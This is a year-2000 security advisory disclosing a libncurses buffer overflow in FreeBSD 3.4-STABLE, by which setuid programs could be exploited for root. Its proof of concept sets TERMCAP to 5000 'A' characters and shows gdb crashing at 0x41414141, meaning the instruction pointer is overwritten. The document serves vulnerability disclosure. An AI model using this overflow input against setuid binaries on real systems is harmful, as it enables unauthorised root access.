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b u f f e r 0 v e r f l 0 w s e c u r i t y a d v i s o r y # 3
Advisory Name: libncurses buffer overflow
Date: 24/4/00
Application: NCURSES 1.8.6 / FreeBSD 3.4-STABLE
Vendor: FreeBSD Inc.
WWW: www.freebsd.org
Severity: setuid programs linked with libncurses
can be exploited to obtain root access.
Author: venglin (venglin@freebsd.lublin.pl)
Homepage: www.b0f.com
* Vulnerable Versions
- 3.4-STABLE -- vulnerable
- 4.0-STABLE -- not tested (probably *not* vulnerable)
- 5.0-CURRENT -- *not* vulnerable
* The Problem
lubi:venglin:~> cat tescik.c
#include <ncurses.h>
main() { initscr(); }
lubi:venglin:~> cc -g -o te tescik.c -lncurses
lubi:venglin:~> setenv TERMCAP `perl -e 'print "A"x5000'`
lubi:venglin:~> gdb ./te
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(gdb) run
Starting program: /usr/home/venglin/./te
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
--
* Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE *
* Inet: venglin@freebsd.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *
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